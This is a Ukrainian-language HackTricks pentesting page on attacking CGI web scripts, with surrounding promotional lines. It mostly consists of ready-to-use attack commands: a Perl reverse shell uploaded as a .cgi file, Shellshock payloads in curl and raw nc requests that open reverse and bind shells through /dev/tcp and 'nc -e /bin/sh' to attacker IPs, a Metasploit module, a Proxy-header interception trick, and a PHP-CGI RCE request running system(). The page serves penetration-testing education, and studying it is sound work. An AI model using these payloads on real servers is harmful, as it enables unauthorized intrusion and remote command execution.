hacktricks/network-services-pentesting/pentesting-web/cgi.md
2024-03-29 19:49:46 +01:00

9.3 KiB
Raw Blame History

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Інформація

CGI-скрипти - це perl-скрипти, тому, якщо ви скомпрометували сервер, який може виконувати .cgi скрипти, ви можете завантажити perl зворотний shell `/usr/share/webshells/perl/perl-reverse-shell.pl`, змінити розширення з .pl на .cgi, надати права на виконання `chmod +x` і отримати доступ до зворотного shell з веб-переглядача, щоб виконати його. Для тестування уразливостей CGI рекомендується використовувати nikto -C all і всі плагіни

ShellShock

ShellShock - це уразливість, яка впливає на широко використовуваний командний рядок Bash в операційних системах на основі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Уразливість полягає в маніпулюванні змінними середовища, які є динамічними іменованими значеннями, які впливають на те, як процеси працюють на комп'ютері. Атакувальники можуть використовувати це, додаючи зловмисний код до змінних середовища, який виконується при отриманні змінної. Це дозволяє атакувальникам потенційно скомпрометувати систему.

Експлуатуючи цю уразливість, сторінка може викидати помилку.

Ви можете виявити цю уразливість, помітивши, що використовується стара версія Apache та cgi_mod з папкою cgi або використовуючи nikto.

Тест

Більшість тестів базуються на виведенні чогось за допомогою echo і очікуванні, що цей рядок повернеться у веб-відповіді. Якщо ви вважаєте, що сторінка може бути уразливою, шукайте всі сторінки cgi та тестуйте їх.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (відображений, сліпий та поза зв'язком)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Використання

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Проксі (MitM для запитів до веб-сервера)

CGI створює змінну середовища для кожного заголовка в запиті http. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"

Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте відправити заголовок, що містить: "Proxy: <IP_зловмисника>:<ПОРТ>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.

Старий PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311

Фактично, якщо cgi активний і php є "старим" &lt;5.3.12 / &lt; 5.4.2, ви можете виконати код. Для використання цієї уразливості вам потрібно отримати доступ до деякого файлу PHP веб-сервера без відправки параметрів особливо без відправки символу "=". Потім, для тестування цієї уразливості, ви можете отримати, наприклад, /index.php?-s зверніть увагу на `-s` і відповідь міститиме вихідний код додатку.

Потім, для отримання RCE ви можете відправити цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input і код PHP, який потрібно виконати в тілі запиту. Приклад:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Додаткова інформація про уразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Приклад CTF Writeup.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: